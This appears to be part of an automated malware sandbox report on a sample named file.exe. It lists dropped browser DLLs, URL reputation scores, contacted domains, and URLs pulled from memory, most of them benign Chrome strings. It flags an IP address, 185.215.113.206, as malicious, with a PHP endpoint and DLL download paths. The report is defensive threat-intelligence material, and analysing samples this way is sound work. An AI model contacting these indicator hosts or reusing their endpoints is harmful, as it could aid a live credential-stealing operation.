C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://anglebug.com/4633	0%	URL Reputation	safe
https://anglebug.com/7382	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://issuetracker.google.com/284462263	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://anglebug.com/7714	0%	URL Reputation	safe
http://anglebug.com/6248	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
http://anglebug.com/6929	0%	URL Reputation	safe
http://anglebug.com/5281	0%	URL Reputation	safe
https://issuetracker.google.com/255411748	0%	URL Reputation	safe
https://anglebug.com/7246	0%	URL Reputation	safe
https://anglebug.com/7369	0%	URL Reputation	safe
https://anglebug.com/7489	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://issuetracker.google.com/161903006	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/3078	0%	URL Reputation	safe
http://anglebug.com/7553	0%	URL Reputation	safe
http://anglebug.com/5375	0%	URL Reputation	safe
http://anglebug.com/5371	0%	URL Reputation	safe
http://anglebug.com/4722	0%	URL Reputation	safe
http://anglebug.com/7556	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
http://anglebug.com/6692	0%	URL Reputation	safe
https://issuetracker.google.com/258207403	0%	URL Reputation	safe
http://anglebug.com/3502	0%	URL Reputation	safe
http://anglebug.com/3623	0%	URL Reputation	safe
http://anglebug.com/3625	0%	URL Reputation	safe
http://anglebug.com/3624	0%	URL Reputation	safe
http://anglebug.com/5007	0%	URL Reputation	safe
http://anglebug.com/3862	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
http://anglebug.com/4836	0%	URL Reputation	safe
https://issuetracker.google.com/issues/166475273	0%	URL Reputation	safe
http://anglebug.com/4384	0%	URL Reputation	safe
http://anglebug.com/3970	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
http://polymer.github.io/CONTRIBUTORS.txt	0%	URL Reputation	safe
https://domains.google.com/suggest/flow	0%	URL Reputation	safe
https://anglebug.com/7604	0%	URL Reputation	safe
http://anglebug.com/7761	0%	URL Reputation	safe
https://ogs.google.com/widget/app/so?eom=1	0%	URL Reputation	safe
http://anglebug.com/7760	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://anglebug.com/5901	0%	URL Reputation	safe
http://anglebug.com/3965	0%	URL Reputation	safe
http://anglebug.com/6439	0%	URL Reputation	safe
http://anglebug.com/7406	0%	URL Reputation	safe
https://anglebug.com/7161	0%	URL Reputation	safe
https://drive-autopush.corp.google.com/	0%	URL Reputation	safe
https://anglebug.com/7162	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.74.206	true	false	unknown
play.google.com	142.250.186.174	true	false	unknown
www.google.com	172.217.18.4	true	false	unknown
apis.google.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpAZ	file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/0	chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/6	chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7382	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/A	chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/freebl3.dllq	file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/G	chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853975392.00002B440102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853922877.00002B440101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854011000.00002B440107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855651047.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854189402.00002B4401048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855682199.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855709991.00002B4400F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854035988.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/J	chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dllM	file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/P	chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/W	chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5281	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/f	chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7246	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7369	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore	chrome.exe, 00000001.00000003.1850075407.00002B4400CDC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853975392.00002B440102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853922877.00002B440101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854011000.00002B440107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855651047.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854189402.00002B4401048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855682199.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855709991.00002B4400F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854035988.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_79.3.dr	false		unknown
http://anglebug.com/3078	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5375	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5371	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7556	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sandbox.google.com/	chrome.exe, 00000001.00000003.1835757010.00002B44002C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/4z	chrome.exe, 00000001.00000003.1875430953.00002B4401510000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpcal	file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3625	chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3624	chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5007	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3862	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2129255327.000000006CF11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2102203891.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1741284072.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000001.00000003.1853133945.00002B4400CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855762096.00002B4400CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1852991861.00002B4400D0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1858916747.00002B4400CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1851707973.00002B4400D0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849965914.00002B4400CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850115522.00002B4400D0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850075407.00002B4400CDC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4384	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000001.00000003.1875304351.00002B440140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874171148.00002B44014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875342960.00002B4401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874260442.00002B44014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3970	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.3.dr, chromecache_79.3.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853975392.00002B440102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853922877.00002B440101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854011000.00002B440107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855651047.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854189402.00002B4401048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855682199.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855709991.00002B4400F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854035988.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://labs.google.com/search?source=ntp	chrome.exe, 00000001.00000003.1875304351.00002B440140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874171148.00002B44014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875342960.00002B4401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874260442.00002B44014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://domains.google.com/suggest/flow	chromecache_79.3.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000001.00000003.1831409199.000028BC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7604	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/hj	chrome.exe, 00000001.00000003.1832013099.000028BC00684000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7761	chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ogs.google.com/widget/app/so?eom=1	chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
